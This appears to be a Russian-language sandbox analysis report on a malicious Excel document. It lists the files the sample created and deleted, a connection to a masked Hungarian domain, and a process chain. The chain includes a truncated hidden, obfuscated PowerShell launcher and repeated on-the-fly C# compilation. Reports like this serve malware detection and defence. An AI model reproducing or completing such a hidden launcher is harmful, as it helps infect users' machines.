Техническая информация
Вредоносные функции
Запускает на исполнение (эксплоит)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -WindowStyle Hidden function q5fa5 {param($qcc229a)$c877f='q748a';$h3be71='';for ($i=0; $i -lt $qcc229a.length;$i+=2){$y32e77=[convert]::ToByte($qcc229a.Substring($i,2),16);$h3be71+=[char]($y...
Изменения в файловой системе
Создает следующие файлы
- %TEMP%\ifbl1ale.0.cs
- %TEMP%\csc6d71.tmp
- %TEMP%\res6d92.tmp
- %TEMP%\pm-qx6px.dll
- %TEMP%\qcd839au.0.cs
- %TEMP%\qcd839au.cmdline
- %TEMP%\qcd839au.out
- %TEMP%\csc8426.tmp
- %TEMP%\res8436.tmp
- %TEMP%\qcd839au.dll
- %TEMP%\ez89dybc.0.cs
- %TEMP%\ez89dybc.cmdline
- %TEMP%\ez89dybc.out
- %TEMP%\csc9760.tmp
- %TEMP%\ez89dybc.dll
- %WINDIR%\serviceprofiles\networkservice\appdata\locallow\microsoft\cryptneturlcache\metadata\f0accf77cdcbff39f6191887f6d2d357
- %TEMP%\vbv4eruv.0.cs
- %TEMP%\vbv4eruv.cmdline
- %TEMP%\vbv4eruv.out
- %TEMP%\csca9af.tmp
- %TEMP%\resa9c0.tmp
- %TEMP%\vbv4eruv.dll
- %TEMP%\m2tlclzd.0.cs
- %TEMP%\m2tlclzd.cmdline
- %TEMP%\m2tlclzd.out
- %TEMP%\cscbb53.tmp
- %TEMP%\resbb63.tmp
- %TEMP%\m2tlclzd.dll
- %LOCALAPPDATA%\microsoft\windows\<INETFILES>\content.word\~wrf{a4f3d055-96b3-4d46-a415-66634a0b4fce}.tmp
- %TEMP%\pm-qx6px.out
- %TEMP%\res9770.tmp
- %TEMP%\pm-qx6px.cmdline
- %TEMP%\ifbl1ale.dll
- %TEMP%\ifbl1ale.cmdline
- %TEMP%\ifbl1ale.out
- %TEMP%\ndbeahai.0.cs
- %TEMP%\ndbeahai.cmdline
- %TEMP%\ndbeahai.out
- %TEMP%\csc2898.tmp
- %TEMP%\csc28e6.tmp
- %TEMP%\w6xerrlh.0.cs
- %TEMP%\w6xerrlh.cmdline
- %TEMP%\w6xerrlh.out
- %TEMP%\res28a9.tmp
- %TEMP%\ndbeahai.dll
- %TEMP%\res28f7.tmp
- %TEMP%\csc33b4.tmp
- %TEMP%\82nweu1q.dll
- %TEMP%\res33b5.tmp
- %TEMP%\w6xerrlh.dll
- %TEMP%\5b2f-lyp.0.cs
- %TEMP%\5b2f-lyp.cmdline
- %TEMP%\5b2f-lyp.out
- %TEMP%\csc4817.tmp
- %TEMP%\res4827.tmp
- %TEMP%\5b2f-lyp.dll
- %TEMP%\82nweu1q.0.cs
- %TEMP%\82nweu1q.cmdline
- %TEMP%\82nweu1q.out
- %TEMP%\csc597c.tmp
- %TEMP%\res598d.tmp
- %TEMP%\pm-qx6px.0.cs
- %WINDIR%\serviceprofiles\networkservice\appdata\locallow\microsoft\cryptneturlcache\content\f0accf77cdcbff39f6191887f6d2d357
Удаляет следующие файлы
- %TEMP%\res28a9.tmp
- %TEMP%\res9770.tmp
- %TEMP%\qcd839au.out
- %TEMP%\qcd839au.pdb
- %TEMP%\qcd839au.cmdline
- %TEMP%\qcd839au.0.cs
- %TEMP%\ez89dybc.out
- %TEMP%\qcd839au.dll
- %TEMP%\res8436.tmp
- %TEMP%\pm-qx6px.cmdline
- %TEMP%\pm-qx6px.dll
- %TEMP%\pm-qx6px.pdb
- %TEMP%\pm-qx6px.0.cs
- %TEMP%\pm-qx6px.out
- %TEMP%\csc8426.tmp
- %TEMP%\5b2f-lyp.cmdline
- %TEMP%\ez89dybc.cmdline
- %TEMP%\m2tlclzd.cmdline
- %TEMP%\m2tlclzd.pdb
- %TEMP%\m2tlclzd.dll
- %TEMP%\cscbb53.tmp
- %TEMP%\resbb63.tmp
- %TEMP%\vbv4eruv.0.cs
- %TEMP%\csc6d71.tmp
- %TEMP%\csc9760.tmp
- %TEMP%\vbv4eruv.pdb
- %TEMP%\vbv4eruv.cmdline
- %TEMP%\csca9af.tmp
- %TEMP%\resa9c0.tmp
- %TEMP%\ez89dybc.dll
- %TEMP%\ez89dybc.pdb
- %TEMP%\vbv4eruv.dll
- %TEMP%\ez89dybc.0.cs
- %TEMP%\res6d92.tmp
- %TEMP%\82nweu1q.cmdline
- %TEMP%\82nweu1q.out
- %TEMP%\ifbl1ale.pdb
- %TEMP%\csc2898.tmp
- %TEMP%\res28f7.tmp
- %TEMP%\csc28e6.tmp
- %TEMP%\ifbl1ale.0.cs
- %TEMP%\ifbl1ale.dll
- %TEMP%\m2tlclzd.out
- %TEMP%\ifbl1ale.cmdline
- %TEMP%\csc33b4.tmp
- %TEMP%\ndbeahai.pdb
- %TEMP%\ndbeahai.out
- %TEMP%\ndbeahai.0.cs
- %TEMP%\ndbeahai.dll
- %TEMP%\ndbeahai.cmdline
- %TEMP%\ifbl1ale.out
- %TEMP%\vbv4eruv.out
- %TEMP%\w6xerrlh.dll
- %TEMP%\w6xerrlh.pdb
- %TEMP%\w6xerrlh.0.cs
- %TEMP%\82nweu1q.dll
- %TEMP%\82nweu1q.0.cs
- %TEMP%\82nweu1q.pdb
- %TEMP%\csc597c.tmp
- %TEMP%\res598d.tmp
- %TEMP%\w6xerrlh.out
- %TEMP%\5b2f-lyp.out
- %TEMP%\res33b5.tmp
- %TEMP%\5b2f-lyp.pdb
- %TEMP%\5b2f-lyp.0.cs
- %TEMP%\csc4817.tmp
- %TEMP%\res4827.tmp
- %TEMP%\w6xerrlh.cmdline
- %TEMP%\5b2f-lyp.dll
- %TEMP%\m2tlclzd.0.cs
Сетевая активность
TCP
- 'hu###sztrada.hu':443
UDP
- DNS ASK hu###sztrada.hu
Другое
Создает и запускает на исполнение
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -WindowStyle Hidden function q5fa5 {param($qcc229a)$c877f='q748a';$h3be71='';for ($i=0; $i -lt $qcc229a.length;$i+=2){$y32e77=[convert]::ToByte($qcc229a.Substring($i,2),16);$h3be71+=[char]($y...' (со скрытым окном)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESA9C0.tmp" "%TEMP%\CSCA9AF.tmp"' (со скрытым окном)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\vbv4eruv.cmdline"' (со скрытым окном)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES9770.tmp" "%TEMP%\CSC9760.tmp"' (со скрытым окном)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\ez89dybc.cmdline"' (со скрытым окном)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES8436.tmp" "%TEMP%\CSC8426.tmp"' (со скрытым окном)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\qcd839au.cmdline"' (со скрытым окном)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES6D92.tmp" "%TEMP%\CSC6D71.tmp"' (со скрытым окном)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\pm-qx6px.cmdline"' (со скрытым окном)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\m2tlclzd.cmdline"' (со скрытым окном)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES598D.tmp" "%TEMP%\CSC597C.tmp"' (со скрытым окном)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES4827.tmp" "%TEMP%\CSC4817.tmp"' (со скрытым окном)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\5b2f-lyp.cmdline"' (со скрытым окном)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES33B5.tmp" "%TEMP%\CSC33B4.tmp"' (со скрытым окном)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\w6xerrlh.cmdline"' (со скрытым окном)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES28F7.tmp" "%TEMP%\CSC28E6.tmp"' (со скрытым окном)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES28A9.tmp" "%TEMP%\CSC2898.tmp"' (со скрытым окном)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\ndbeahai.cmdline"' (со скрытым окном)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\ifbl1ale.cmdline"' (со скрытым окном)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\82nweu1q.cmdline"' (со скрытым окном)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESBB63.tmp" "%TEMP%\CSCBB53.tmp"' (со скрытым окном)
Запускает на исполнение
- '%ProgramFiles%\microsoft office\office14\excel.exe' -Embedding
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\m2tlclzd.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESA9C0.tmp" "%TEMP%\CSCA9AF.tmp"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\vbv4eruv.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES9770.tmp" "%TEMP%\CSC9760.tmp"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\ez89dybc.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES8436.tmp" "%TEMP%\CSC8426.tmp"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\qcd839au.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES6D92.tmp" "%TEMP%\CSC6D71.tmp"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\pm-qx6px.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES598D.tmp" "%TEMP%\CSC597C.tmp"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\82nweu1q.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES4827.tmp" "%TEMP%\CSC4817.tmp"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\5b2f-lyp.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES33B5.tmp" "%TEMP%\CSC33B4.tmp"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\w6xerrlh.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES28F7.tmp" "%TEMP%\CSC28E6.tmp"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES28A9.tmp" "%TEMP%\CSC2898.tmp"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\ndbeahai.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\ifbl1ale.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESBB63.tmp" "%TEMP%\CSCBB53.tmp"
- '%ProgramFiles%\microsoft office\office14\excelcnv.exe' -Embedding
